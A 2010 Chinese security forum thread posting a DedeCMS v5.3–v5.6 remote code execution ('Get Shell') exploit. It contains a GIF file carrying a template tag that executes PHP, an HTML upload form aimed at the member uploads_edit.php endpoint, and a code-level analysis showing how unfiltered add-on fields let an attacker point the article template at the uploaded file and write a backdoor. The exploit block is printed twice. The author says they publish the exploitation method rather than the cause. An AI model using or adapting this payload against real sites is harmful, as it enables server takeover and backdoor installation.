找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1113|回复: 1

dedecms v5.3-v5.6 Get Shell 0day利用分析

[复制链接]

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
发表于 2010-8-20 12:23:12 | 显示全部楼层 |阅读模式
发布作者:toby57
影响版本:dedecms v5.3-v5.6
官方地址: www.dedecms.com
漏洞描述: 此0day已经出现了相当长一段时间,今天配合小龙同学提供的日志看了下代码,了解了漏洞成因。大多同学对成因不感兴趣,这儿就只公布利用方法。
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif



此0day已经出现了相当长一段时间,今天配合小龙同学提供的日志看了下代码,了解了漏洞成因。大多同学对成因不感兴趣,这儿就只公布利用方法。
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif



红色部分都 是需要注意的地方,得根据实际情况进行对应修改。
修改完成后查看文章即可。

分析
by:xhm1n9 article_add.php
.
....................... else if($dopost=='save') { include(DEDEMEMBER.'/inc/archives_check.php'); //分析处理附加表数据 $inadd_f = $inadd_v = ''; if(!empty($dede_addonfields)) {    $addonfields = explode(';',$dede_addonfields); ............................................ //省略部份代码      $inadd_f .= ','.$vs[0];      $inadd_v .= " ,'".${$vs[0]}."' ";     }    } } .......................................... $addtable = trim($cInfos['addtable']); if(empty($addtable)) {    ...................................... } else {    $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";    if(!$dsql->ExecuteNoneQuery($inquery))    { ..........................................    } } .......................................... $artUrl = MakeArt($arcID,true);     //利用地方(arc.archives.functions.php有定义)  function MakeArt($aid,$ismakesign=false) { global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style; include_once(DEDEINC.'/arc.archives.class.php'); if($ismakesign) {    $envs['makesign'] = 'yes'; } $arc = new Archives($aid); $reurl = $arc->MakeHtml();           //arc.archives.class.php有定义 ............................ }  arc.archives.class.php class Archives { ................ function __construct($aid) { ............    if($this->ChannelUnit->ChannelInfos['addtable']!='')     {      $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";      $this->addTableRow = $this->dsql->GetOne($query);     } ........................ if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)     {      if(is_array($this->addTableRow))      {      ...............................       $this->Fields['templet'] = $this->addTableRow['templet'];//注意1      ......................................      }     }     ............................. } function MakeHtml($isremote=0) {    global $cfg_remote_site,$fileFirst;    if($this->IsError)    {     return '';    }    $this->Fields["displaytype"] = "st";    //预编译$th    $this->LoadTemplet();              //触发1   ......................................//省略部份代码      $this->ParseDMFields($i,1);    $this->dtp->SaveTo($truefilename); //触发2 ...................................... } 继续跟(触发1)$this->LoadTemplet();        //arc.archives.class.php有定义 function LoadTemplet() {    if($this->TempSource=='')    {     $tempfile = $this->GetTempletFile();                     //注意2     if(!file_exists($tempfile) || !is_file($tempfile))     {      echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}<br />";      echo "模板文件不存在,无法解析文档!";      exit();     }     $this->dtp->LoadTemplate($tempfile);                  //触发3     $this->TempSource = $this->dtp->SourceString;    }    else    {     $this->dtp->LoadSource($this->TempSource);    } } 看注意2 的$this->GetTempletFile()           //arc.archives.class.php有定义(责任编辑:admin)
function GetTempletFile() {    global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;    $cid = $this->ChannelUnit->ChannelInfos['nid'];    if(!empty($this->Fields['templet']))                  //注意3    {     $filetag = MfTemplet($this->Fields['templet']);     if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;    }    else    {     $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);    } .......................................    if($cid=='spec')    {     if( !empty($this->Fields['templet']) )     {      $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;     }     else     {      $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";     }    } ...........................................      return $tmpfile; } 注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞 看下怎么控制注意1的值 article_edit.php ...................... else if($dopost=='save') { .................... if(!empty($dede_addonfields)) {    $addonfields = explode(';',$dede_addonfields);    if(is_array($addonfields))    { ........................              ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);      $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";        } } ................... if($addtable!='') {    $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";    if(!$dsql->ExecuteNoneQuery($upQuery))    {..............    } } .................... } $dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!

39

主题

246

回帖

379

牛毛

一级牛人

积分
379
发表于 2010-8-23 11:31:45 | 显示全部楼层 来自 湖北省孝感市
顶你~~~
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-27 03:05 , Processed in 0.181894 second(s), 38 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表